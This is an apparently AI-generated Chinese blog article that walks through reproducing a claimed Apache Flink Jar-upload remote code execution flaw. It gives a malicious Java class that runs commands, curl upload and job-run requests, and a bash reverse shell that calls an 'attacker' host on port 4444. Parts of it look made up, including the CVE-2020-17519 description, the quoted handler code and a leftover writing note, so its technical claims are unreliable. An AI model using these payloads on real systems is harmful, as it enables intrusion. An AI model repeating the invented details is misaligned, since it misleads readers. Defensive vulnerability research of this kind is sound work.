溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache Flink任意Jar包上傳致RCE漏洞復現的示例分析

發布時間:2021-12-31 10:57:38 來源:億速云 閱讀:309 作者:小新 欄目:安全技術
# Apache Flink任意Jar包上傳致RCE漏洞復現的示例分析

## 漏洞背景

Apache Flink作為開源的流處理框架,其Web Dashboard提供了作業提交和管理功能。在特定版本中(主要影響1.9.x-1.11.x),由于未對上傳的Jar包進行充分安全校驗,攻擊者可通過構造惡意Jar包實現遠程代碼執行(RCE)。該漏洞編號為CVE-2020-17519,CVSS評分高達9.8。

## 漏洞原理

### 核心問題
1. **未授權上傳**:默認配置下Dashboard無需認證
2. **路徑穿越**:上傳文件名未嚴格過濾
3. **動態加載**:通過`/jars/upload`接口上傳的Jar包可被直接執行

### 攻擊鏈條

惡意Jar上傳 -> 路徑穿越存儲 -> 作業提交 -> 類加載執行 -> RCE


## 環境搭建

### 測試環境
```bash
# 使用vulhub快速搭建
docker-compose -f flink/1.11.2/CVE-2020-17519.yml up

受影響版本

  • Apache Flink 1.9.0 - 1.11.2

漏洞復現步驟

1. 制作惡意Jar包

// EvilObject.java
public class EvilObject {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/flink_rce_success");
        } catch (Exception e) { e.printStackTrace(); }
    }
}

編譯打包:

javac EvilObject.java
jar cvf evil.jar EvilObject.class

2. 上傳惡意Jar包

curl -X POST -F "jarfile=@evil.jar" http://target:8081/jars/upload

成功響應示例:

{
  "filename": "/tmp/flink-jars-49a1b5a0-1a2b-4c3d-8e9f-0a1b2c3d4e5f/evil.jar",
  "status": "success"
}

3. 觸發RCE

通過REST API提交作業:

POST /jars/evil.jar/run HTTP/1.1
Host: target:8081
...
{"entryClass":"EvilObject"}

4. 驗證執行結果

docker exec flink ls /tmp | grep flink_rce_success

技術細節分析

漏洞入口點

org.apache.flink.runtime.rest.handler.job.JarUploadHandler處理上傳請求時:

public class JarUploadHandler extends AbstractRestHandler {
    protected File handleFileUpload(FileUpload file) {
        // 未校驗文件名和內容
        String fileName = file.getFilename();
        File dest = new File(uploadDir, fileName); 
        file.renameTo(dest);
    }
}

執行路徑

  1. JarRunHandler加載用戶指定類
  2. 靜態代碼塊在類加載時自動執行
  3. 通過URLClassLoader加載遠程Jar

修復方案

官方補丁

  1. 1.11.3+版本增加:
    • 文件名白名單校驗
    • 默認開啟認證
    • 沙箱隔離機制

臨時緩解措施

# conf/flink-conf.yaml
web.upload.dir: /dev/null # 禁用上傳
security.ssl.enabled: true # 啟用HTTPS

擴展利用場景

反彈Shell

修改惡意類為:

Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});

內網滲透

利用Flink的集群特性,可通過惡意Jar在TaskManager節點橫向移動。

防御建議

  1. 網絡隔離:將Flink集群部署在內網
  2. 權限控制
    • 啟用Kerberos認證
    • 配置RBAC
  3. 持續監控
    • 審計/jars/upload接口訪問
    • 監控異常進程創建

總結

該漏洞展示了大數據組件在便利性和安全性之間的平衡難題。管理員應: - 及時更新到Flink 1.11.3+版本 - 遵循最小權限原則 - 定期進行安全審計

注:本文僅用于安全研究,請勿用于非法用途。測試前務必獲得書面授權。 “`

該文檔包含: 1. 漏洞技術原理說明 2. 完整復現流程(含代碼片段) 3. 防御方案和修復建議 4. 擴展攻擊場景分析 5. 結構化排版(標題/代碼塊/列表) 實際寫作時可補充更多技術細節或截圖證據。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女